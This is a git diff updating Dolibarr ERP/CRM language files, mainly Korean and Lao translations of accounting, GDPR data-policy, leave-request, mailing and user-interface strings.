TransactionNumShort=Num. transaction -AccountingCategory=Custom group +AccountingCategory=Custom group of accounts GroupByAccountAccounting=Group by general ledger account GroupBySubAccountAccounting=Group by subledger account AccountingAccountGroupsDesc=You can define here some groups of accounting account. They will be used for personalized accounting reports. @@ -219,12 +226,12 @@ ByPredefinedAccountGroups=By predefined groups ByPersonalizedAccountGroups=By personalized groups ByYear=By year NotMatch=Not Set -DeleteMvt=Delete some operation lines from accounting +DeleteMvt=Delete some lines from accounting DelMonth=Month to delete DelYear=Year to delete DelJournal=Journal to delete -ConfirmDeleteMvt=This will delete all operation lines of the accounting for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. -ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all operation lines related to the same transaction will be deleted) +ConfirmDeleteMvt=This will delete all lines in accountancy for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. +ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) FinanceJournal=Finance journal ExpenseReportsJournal=Expense reports journal DescFinanceJournal=Finance journal including all the types of payments by bank account @@ -264,13 +271,13 @@ Reconcilable=Reconcilable TotalVente=Total turnover before tax TotalMarge=Total sales margin -DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product accounting account -DescVentilMore=In most cases, if you use predefined products or services and you set the account number on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". -DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product accounting account -DescVentilTodoCustomer=Bind invoice lines not already bound with a product accounting account -ChangeAccount=Change the product/service accounting account for selected lines with the following accounting account: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product accounting account (only record not already transfered in accountancy are visible) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=Consult here the list of the lines of vendor invoices and their accounting account DescVentilTodoExpenseReport=Bind expense report lines not already bound with a fee accounting account DescVentilExpenseReport=Consult here the list of expense report lines bound (or not) to a fee accounting account @@ -278,30 +285,31 @@ DescVentilExpenseReportMore=If you setup accounting account on type of expense r DescVentilDoneExpenseReport=Consult here the list of the lines of expenses reports and their fees accounting account Closure=Annual closure -DescClosure=Consult here the number of movements by month who are not validated & fiscal years already open -OverviewOfMovementsNotValidated=Step 1/ Overview of movements not validated. (Necessary to close a fiscal year) -AllMovementsWereRecordedAsValidated=All movements were recorded as validated -NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated -ValidateMovements=Validate movements +DescClosure=Consult here the number of movements by month not yet validated & locked +OverviewOfMovementsNotValidated=Overview of movements not validated and locked +AllMovementsWereRecordedAsValidated=All movements were recorded as validated and locked +NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated and locked +ValidateMovements=Validate and lock movements... DescValidateMovements=Any modification or deletion of writing, lettering and deletes will be prohibited. All entries for an exercise must be validated otherwise closing will not be possible ValidateHistory=Bind Automatically AutomaticBindingDone=Automatic bindings done (%s) - Automatic binding not possible for some record (%s) -ErrorAccountancyCodeIsAlreadyUse=Error, you cannot delete this accounting account because it is used -MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s | Credit = %s +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used +MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s Balancing=Balancing FicheVentilation=Binding card GeneralLedgerIsWritten=Transactions are written in the Ledger GeneralLedgerSomeRecordWasNotRecorded=Some of the transactions could not be journalized. If there is no other error message, this is probably because they were already journalized. -NoNewRecordSaved=No more record to journalize -ListOfProductsWithoutAccountingAccount=List of products not bound to any accounting account +NoNewRecordSaved=No more record to transfer +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=Change the binding Accounted=Accounted in ledger NotYetAccounted=Not yet transferred to accounting ShowTutorial=Show Tutorial NotReconciled=Not reconciled -WarningRecordWithoutSubledgerAreExcluded=Warning, all operations without subledger account defined are filtered and excluded from this view +WarningRecordWithoutSubledgerAreExcluded=Warning, all lines without subledger account defined are filtered and excluded from this view +AccountRemovedFromCurrentChartOfAccount=Accounting account that does not exist in the current chart of accounts ## Admin BindingOptions=Binding options @@ -317,9 +325,10 @@ AccountingJournalType1=Miscellaneous operations AccountingJournalType2=Sales AccountingJournalType3=Purchases AccountingJournalType4=Bank -AccountingJournalType5=Expenses report +AccountingJournalType5=경비 보고서 AccountingJournalType8=Inventory AccountingJournalType9=Has-new +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=This journal is already use AccountingAccountForSalesTaxAreDefinedInto=Note: Accounting account for Sales tax are defined into menu %s - %s NumberOfAccountancyEntries=Number of entries @@ -327,10 +336,13 @@ NumberOfAccountancyMovements=Number of movements ACCOUNTING_DISABLE_BINDING_ON_SALES=Disable binding & transfer in accountancy on sales (customer invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Disable binding & transfer in accountancy on purchases (vendor invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Disable binding & transfer in accountancy on expense reports (expense reports will not be taken into account in accounting) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting ## Export -NotifiedExportDate=Flag exported lines as exported (modification of the lines will not be possible) -NotifiedValidationDate=Validate the exported entries (modification or deletion of the lines will not be possible) +NotExportLettering=Do not export the lettering when generating the file +NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) +NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +DateValidationAndLock=Date validation and lock ConfirmExportFile=Confirmation of the generation of the accounting export file ? ExportDraftJournal=Export draft journal Modelcsv=Model of export @@ -394,6 +406,26 @@ Range=Range of accounting account Calculated=Calculated Formula=Formula +## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual +Unlettering=Unreconcile +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual +AccountancyNoLetteringModified=No reconcile modified +AccountancyOneLetteringModifiedSuccessfully=One reconcile successfully modified +AccountancyLetteringModifiedSuccessfully=%s reconcile successfully modified +AccountancyNoUnletteringModified=No unreconcile modified +AccountancyOneUnletteringModifiedSuccessfully=One unreconcile successfully modified +AccountancyUnletteringModifiedSuccessfully=%s unreconcile successfully modified + +## Confirm box +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? +ConfirmMassDeleteBookkeepingWriting=Bulk Delete confirmation +ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? + ## Error SomeMandatoryStepsOfSetupWereNotDone=Some mandatory steps of setup was not done, please complete them ErrorNoAccountingCategoryForThisCountry=No accounting account group available for country %s (See Home - Setup - Dictionaries) @@ -406,6 +438,10 @@ Binded=Lines bound ToBind=Lines to bind UseMenuToSetBindindManualy=Lines not yet bound, use menu %s to make the binding manually SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Sorry this module is not compatible with the experimental feature of situation invoices +AccountancyErrorMismatchLetterCode=Mismatch in reconcile code +AccountancyErrorMismatchBalanceAmount=The balance (%s) is not equal to 0 +AccountancyErrorLetteringBookkeeping=Errors have occurred concerning the transactions: %s +ErrorAccountNumberAlreadyExists=The accounting number %s already exists ## Import ImportAccountingEntries=Accounting entries @@ -432,6 +468,5 @@ FECFormatMulticurrencyCode=Multicurrency code (Idevise) DateExport=Date export WarningReportNotReliable=Warning, this report is not based on the Ledger, so does not contains transaction modified manually in the Ledger. If your journalization is up to date, the bookkeeping view is more accurate. ExpenseReportJournal=Expense Report Journal -InventoryJournal=Inventory Journal NAccounts=%s accounts diff --git a/htdocs/langs/ko_KR/datapolicy.lang b/htdocs/langs/ko_KR/datapolicy.lang new file mode 100644 index 00000000000..2c8d2850ace --- /dev/null +++ b/htdocs/langs/ko_KR/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = 고객 +DATAPOLICY_TIERS_PROSPECT = 잠재 고객 +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Supplier +DATAPOLICY_CONTACT_CLIENT = 고객 +DATAPOLICY_CONTACT_PROSPECT = 잠재 고객 +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Supplier +DATAPOLICY_ADHERENT = Member +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/ko_KR/holiday.lang b/htdocs/langs/ko_KR/holiday.lang index fa8e500cd05..339f6e476fc 100644 --- a/htdocs/langs/ko_KR/holiday.lang +++ b/htdocs/langs/ko_KR/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=HRM -Holidays=Leave +Holidays=Leaves +Holiday=Leave CPTitreMenu=Leave MenuReportMonth=Monthly statement MenuAddCP=New leave request +MenuCollectiveAddCP=New collective leave request NotActiveModCP=You must enable the module Leave to view this page. AddCP=Make a leave request DateDebCP=시작일 @@ -56,6 +58,7 @@ ConfirmDeleteCP=Confirm the deletion of this leave request? ErrorCantDeleteCP=Error you don't have the right to delete this leave request. CantCreateCP=You don't have the right to make leave requests. InvalidValidatorCP=You must choose the approver for your leave request. +InvalidValidator=The user chosen isn't an approver. NoDateDebut=You must select a start date. NoDateFin=You must select an end date. ErrorDureeCP=Your leave request does not contain working day. @@ -79,6 +82,8 @@ MotifCP=이유 UserCP=사용자 ErrorAddEventToUserCP=An error occurred while adding the exceptional leave. AddEventToUserOkCP=The addition of the exceptional leave has been completed. +ErrorFieldRequiredUserOrGroup=The "group" field or the "user" field must be filled in +fusionGroupsUsers=The groups field and the user field will be merged MenuLogCP=View change logs LogCP=Log of all updates made to "Balance of Leave" ActionByCP=Updated by @@ -86,6 +91,13 @@ UserUpdateCP=Updated for PrevSoldeCP=Previous Balance NewSoldeCP=New Balance alreadyCPexist=A leave request has already been done on this period. +UseralreadyCPexist=A leave request has already been done on this period for %s. +groups=그룹 +users=사용자 +AutoSendMail=Automatic mailing +NewHolidayForGroup=New collective leave request +SendRequestCollectiveCP=Send collective leave request +AutoValidationOnCreate=Automatic validation FirstDayOfHoliday=Beginning day of leave request LastDayOfHoliday=Ending day of leave request BoxTitleLastLeaveRequests=Latest %s modified leave requests @@ -137,3 +149,10 @@ XIsAUsualNonWorkingDay=%s is usualy a NON working day BlockHolidayIfNegative=Block if balance negative LeaveRequestCreationBlockedBecauseBalanceIsNegative=The creation of this leave request is blocked because your balance is negative ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Leave request %s must be draft, canceled or refused to be deleted +IncreaseHolidays=Increase holiday +HolidayRecordsIncreased= %s holiday records increased +HolidayRecordIncreased=Holiday record increased +ConfirmMassIncreaseHoliday=Bulk holiday increase +NumberDayAddMass=Number of day to add to the selection +ConfirmMassIncreaseHolidayQuestion=Are you sure you want to increase holiday of the %s selected record(s)? +HolidayQtyNotModified=Balance of remaining days for %s has not been changed diff --git a/htdocs/langs/ko_KR/mails.lang b/htdocs/langs/ko_KR/mails.lang index 23c6d5001f6..59c60b9bd85 100644 --- a/htdocs/langs/ko_KR/mails.lang +++ b/htdocs/langs/ko_KR/mails.lang @@ -7,10 +7,10 @@ MailCard=EMailing card MailRecipients=Recipients MailRecipient=Recipient MailTitle=기술 -MailFrom=Sender +MailFrom=부터 MailErrorsTo=Errors to MailReply=Reply to -MailTo=Receiver(s) +MailTo=To MailToUsers=To user(s) MailCC=Copy to MailToCCUsers=Copy to users(s) @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=Contacts by position MailingModuleDescEmailsFromFile=Emails from file MailingModuleDescEmailsFromUser=Emails input by user MailingModuleDescDolibarrUsers=Users with Emails -MailingModuleDescThirdPartiesByCategories=Third parties (by categories) +MailingModuleDescThirdPartiesByCategories=협력업체 SendingFromWebInterfaceIsNotAllowed=Sending from web interface is not allowed. EmailCollectorFilterDesc=All filters must match to have an email being collected @@ -178,3 +178,5 @@ IsAnAnswer=Is an answer of an initial email RecordCreatedByEmailCollector=Record created by the Email Collector %s from email %s DefaultBlacklistMailingStatus=Default value for field '%s' when creating a new contact DefaultStatusEmptyMandatory=Empty but mandatory +WarningLimitSendByDay=WARNING: The setup or contract of your instance limits your number of emails per day to %s. Trying to send more may result in having your instance slow down or suspended. Please contact your support if you need a higher quota. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/ko_KR/main.lang b/htdocs/langs/ko_KR/main.lang index c5b9f89230a..b9db2b52c63 100644 --- a/htdocs/langs/ko_KR/main.lang +++ b/htdocs/langs/ko_KR/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=cid0kr FONTSIZEFORPDF=10 SeparatorDecimal=. @@ -28,6 +34,7 @@ NoTemplateDefined=No template available for this email type AvailableVariables=사용 가능한 대체 변수 NoTranslation=번역 없음 Translation=Translation +Translations=Translations CurrentTimeZone=TimeZone PHP (server) EmptySearchString=Enter non empty search criterias EnterADateCriteria=Enter a date criteria @@ -199,6 +206,7 @@ Valid=유효한 Approve=승인 Disapprove=부결 ReOpen=다시 열기 +OpenVerb=열기 Upload=Upload ToLink=링크 Select=선택 @@ -216,7 +224,7 @@ UserGroup=User group UserGroups=User groups NoUserGroupDefined=사용자 그룹이 정의되지 않았습니다. Password=암호 -PasswordRetype=암호를 다시 입력하십시오. +PasswordRetype=Repeat your password NoteSomeFeaturesAreDisabled=이 데모에서는 많은 기능 / 모듈이 비활성화되어 있습니다. Name=이름 NameSlashCompany=Name / Company @@ -244,6 +252,7 @@ Designation=설명 DescriptionOfLine=Description of line DateOfLine=Date of line DurationOfLine=Duration of line +ParentLine=Parent line ID Model=문서 템플릿 DefaultModel=기본 문서 템플릿 Action=이벤트 @@ -344,7 +353,7 @@ KiloBytes=킬로바이트 MegaBytes=메가 바이트 GigaBytes=기가 바이트 TeraBytes=테라 바이트 -UserAuthor=Ceated by +UserAuthor=Created by UserModif=Updated by b=b. Kb=Kb @@ -480,6 +489,7 @@ ActionsOnContact=Events for this contact/address ActionsOnContract=Events for this contract ActionsOnMember=이 멤버에 대한 이벤트 ActionsOnProduct=Events about this product +ActionsOnAsset=Events for this fixed asset NActionsLate=%s 늦게 ToDo=할 일 Completed=Completed @@ -517,6 +527,7 @@ or=또는 Other=기타 Others=기타 OtherInformations=Other information +Workflow=Workflow Quantity=수량 Qty=수량 ChangedBy=변경자 @@ -619,6 +630,7 @@ MonthVeryShort11=N MonthVeryShort12=D AttachedFiles=첨부 파일 및 문서 JoinMainDoc=Join main document +JoinMainDocOrLastGenerated=Send the main document or the last generated one if not found DateFormatYYYYMM=YYYY-MM DateFormatYYYYMMDD=YYYY-MM-DD DateFormatYYYYMMDDHHMM=YYYY-MM-DD HH:SS @@ -709,6 +721,7 @@ FeatureDisabled=기능 사용 중지됨 MoveBox=위젯 이동 Offered=제안됨 NotEnoughPermissions=이 작업에 대한 권한이 없습니다. +UserNotInHierachy=This action is reserved to the supervisors of this user SessionName=세션 이름 Method=방법 Receive=수령 @@ -798,6 +811,7 @@ URLPhoto=사진 / 로고의 URL SetLinkToAnotherThirdParty=다른 협력업체 링크 LinkTo=다음으로 연결 LinkToProposal=제안서 링크 +LinkToExpedition= Link to expedition LinkToOrder=주문 링크 LinkToInvoice=송장 링크 LinkToTemplateInvoice=Link to template invoice @@ -916,6 +930,7 @@ DirectDownloadInternalLink=Private download link PrivateDownloadLinkDesc=You need to be logged and you need permissions to view or download the file Download=다운로드 DownloadDocument=Download document +DownloadSignedDocument=Download signed document ActualizeCurrency=환율 업데이트 Fiscalyear=회계 연도 ModuleBuilder=Module and Application Builder @@ -1041,6 +1056,7 @@ SearchIntoContracts=계약서 SearchIntoCustomerShipments=고객 출하 SearchIntoExpenseReports=경비 보고서 SearchIntoLeaves=Leave +SearchIntoKM=Knowledge base SearchIntoTickets=Tickets SearchIntoCustomerPayments=Customer payments SearchIntoVendorPayments=Vendor payments @@ -1132,15 +1148,29 @@ EventReminder=Event Reminder UpdateForAllLines=Update for all lines OnHold=On hold Civility=Civility -AffectTag=Affect Tag +AffectTag=Assign Tag +AffectUser=Assign User +SetSupervisor=Set Supervisor CreateExternalUser=Create external user -ConfirmAffectTag=Bulk Tag Affect -ConfirmAffectTagQuestion=Are you sure you want to affect tags to the %s selected record(s)? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project +TasksRole=Role assigned on each task of each project +ConfirmSetSupervisor=Bulk Supervisor Set +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=No tag type found for type of records +Rate=율 +SupervisorNotFound=Supervisor not found CopiedToClipboard=Copied to clipboard InformationOnLinkToContract=This amount is only the total of all the lines of the contract. No notion of time is taken into consideration. ConfirmCancel=Are you sure you want to cancel EmailMsgID=Email MsgID +EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=Set to enabled SetToDisabled=Set to disabled ConfirmMassEnabling=mass enabling confirmation @@ -1164,3 +1194,19 @@ NotClosedYet=Not yet closed ClearSignature=Reset signature CanceledHidden=Canceled hidden CanceledShown=Canceled shown +Terminate=끝내기 +Terminated=Terminated +AddLineOnPosition=Add line on position (at the end if empty) +ConfirmAllocateCommercial=Assign sales representative confirmation +ConfirmAllocateCommercialQuestion=Are you sure you want to assign the %s selected record(s)? +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned +YourMessage=Your message +YourMessageHasBeenReceived=Your message has been received. We will answer or contact you as soon as possible. +UrlToCheck=Url to check +Automation=Automation +CreatedByEmailCollector=Created by Email collector +CreatedByPublicPortal=Created from Public portal +UserAgent=User Agent +InternalUser=내부 사용자 +ExternalUser=외부 사용자 diff --git a/htdocs/langs/ko_KR/users.lang b/htdocs/langs/ko_KR/users.lang index 707e56b3577..8541b100b1f 100644 --- a/htdocs/langs/ko_KR/users.lang +++ b/htdocs/langs/ko_KR/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Remove from group PasswordChangedAndSentTo=Password changed and sent to %s. PasswordChangeRequest=Request to change password for %s PasswordChangeRequestSent=Request to change password for %s sent to %s. -IfLoginExistPasswordRequestSent=If this login is a valid account, an email to reset password has been sent. +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. IfEmailExistPasswordRequestSent=If this email is a valid account, an email to reset password has been sent. ConfirmPasswordReset=Confirm password reset MenuUsersAndGroups=Users & Groups @@ -68,7 +68,6 @@ CreateDolibarrLogin=Create a user CreateDolibarrThirdParty=Create a third party LoginAccountDisableInDolibarr=Account disabled in Dolibarr. UsePersonalValue=Use personal value -InternalUser=내부 사용자 ExportDataset_user_1=Users and their properties DomainUser=Domain user %s Reactivate=Reactivate @@ -114,7 +113,7 @@ UserLogoff=User logout UserLogged=User logged DateOfEmployment=Employment date DateEmployment=Employment -DateEmploymentstart=Employment Start Date +DateEmploymentStart=Employment Start Date DateEmploymentEnd=Employment End Date RangeOfLoginValidity=Access validity date range CantDisableYourself=You can't disable your own user record @@ -124,3 +123,9 @@ ValidatorIsSupervisorByDefault=By default, the validator is the supervisor of th UserPersonalEmail=Personal email UserPersonalMobile=Personal mobile phone WarningNotLangOfInterface=Warning, this is the main language the user speak, not the language of the interface he choosed to see. To change the interface language visible by this user, go on tab %s +DateLastLogin=Date last login +DatePreviousLogin=Date previous login +IPLastLogin=IP last login +IPPreviousLogin=IP previous login +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows diff --git a/htdocs/langs/lo_LA/accountancy.lang b/htdocs/langs/lo_LA/accountancy.lang index e5bbd886e8d..ae76b7d205e 100644 --- a/htdocs/langs/lo_LA/accountancy.lang +++ b/htdocs/langs/lo_LA/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=ເລືອກປະເພດການຂົນສົ ACCOUNTING_EXPORT_PREFIX_SPEC=Specify the prefix for the file name ThisService=ການບໍລິການນີ້ ThisProduct=ຜະລິດຕະພັນນີ້ -DefaultForService=ຄ່າເລີ່ມຕົ້ນ ສຳ ລັບການບໍລິການ -DefaultForProduct=ຄ່າເລີ່ມຕົ້ນ ສຳ ລັບຜະລິດຕະພັນ +DefaultForService=Default for services +DefaultForProduct=Default for products ProductForThisThirdparty=ຜະລິດຕະພັນສໍາລັບພາກສ່ວນທີສາມນີ້ ServiceForThisThirdparty=ບໍລິການ ສຳ ລັບພາກສ່ວນທີສາມນີ້ CantSuggest=ບໍ່ສາມາດແນະ ນຳ ໄດ້ @@ -48,8 +48,9 @@ CountriesNotInEEC=ປະເທດທີ່ບໍ່ຢູ່ໃນ EEC CountriesInEECExceptMe=ປະເທດໃນ EEC ຍົກເວັ້ນ %s CountriesExceptMe=ທຸກປະເທດຍົກເວັ້ນ %s AccountantFiles=ສົ່ງອອກເອກະສານແຫຼ່ງທີ່ມາ -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. +ExportAccountingSourceDocHelp=With this tool, you can search and export the source events that are used to generate your accountancy.
      The exported ZIP file will contain the lists of requested items in CSV, as well as their attached files in their original format (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=ເພື່ອສົ່ງອອກວາລະສານຂອງເຈົ້າ, ໃຊ້ລາຍການເມນູ %s - %s. +ExportAccountingProjectHelp=Specify a project if you need an accounting report only for a specific project. Expense reports and loan payments are not included in project reports. VueByAccountAccounting=ເບິ່ງຕາມບັນຊີບັນຊີ VueBySubAccountAccounting=ເບິ່ງຕາມບັນຊີຍ່ອຍບັນຊີ @@ -58,6 +59,7 @@ MainAccountForSuppliersNotDefined=ບັນຊີບັນຊີຫຼັກສ MainAccountForUsersNotDefined=ບັນຊີບັນຊີຫຼັກສໍາລັບຜູ້ໃຊ້ບໍ່ໄດ້ກໍານົດໄວ້ໃນການຕັ້ງ MainAccountForVatPaymentNotDefined=ບັນຊີບັນຊີຫຼັກສໍາລັບການຊໍາລະອາກອນມູນຄ່າເພີ່ມທີ່ບໍ່ໄດ້ກໍານົດໄວ້ໃນການຕັ້ງ MainAccountForSubscriptionPaymentNotDefined=ບັນຊີບັນຊີຫຼັກສໍາລັບການຊໍາລະການສະnotັກໃຊ້ບໍ່ໄດ້ກໍານົດໄວ້ໃນການຕັ້ງ +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=ພື້ນທີ່ການບັນຊີ AccountancyAreaDescIntro=ການ ນຳ ໃຊ້ໂມດູນການບັນຊີແມ່ນເຮັດໄດ້ຫຼາຍຂັ້ນຕອນ: @@ -99,7 +101,8 @@ ShowAccountingAccount=ສະແດງບັນຊີບັນຊີ ShowAccountingJournal=ສະແດງວາລະສານບັນຊີ ShowAccountingAccountInLedger=ສະແດງບັນຊີການບັນຊີຢູ່ໃນບັນຊີແຍກປະເພດ ShowAccountingAccountInJournals=ສະແດງບັນຊີບັນຊີຢູ່ໃນວາລະສານ -AccountAccountingSuggest=ບັນຊີບັນຊີແນະນໍາ +DataUsedToSuggestAccount=Data used to suggest account +AccountAccountingSuggest=Account suggested MenuDefaultAccounts=ບັນຊີເລີ່ມຕົ້ນ MenuBankAccounts=ບັນຊີທະນາຄານ MenuVatAccounts=ບັນຊີອາກອນ @@ -124,6 +127,7 @@ WriteBookKeeping=Record transactions in accounting Bookkeeping=ປື້ມບັນຊີ BookkeepingSubAccount=Subledger AccountBalance=ຍອດເງິນໃນບັນຊີ +AccountBalanceSubAccount=Sub-accounts balance ObjectsRef=ແຫຼ່ງຂໍ້ມູນອ້າງອີງ CAHTF=ຜູ້ຂາຍທັງpurchaseົດທີ່ຊື້ກ່ອນອາກອນ TotalExpenseReport=ລາຍງານລາຍຈ່າຍທັງົດ @@ -161,42 +165,47 @@ BANK_DISABLE_DIRECT_INPUT=ປິດໃຊ້ງານການບັນທຶກ ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=ເປີດໃຊ້ງານການສົ່ງອອກສະບັບຮ່າງໃນວາລະສານ ACCOUNTANCY_COMBO_FOR_AUX=ເປີດໃຊ້ບັນຊີລາຍຊື່ combo ສໍາລັບບັນຊີບໍລິສັດຍ່ອຍ (ອາດຈະຊ້າຖ້າເຈົ້າມີພາກສ່ວນທີສາມຫຼາຍ, ທໍາລາຍຄວາມສາມາດໃນການຊອກຫາສ່ວນໃດສ່ວນນຶ່ງຂອງຄ່າ) 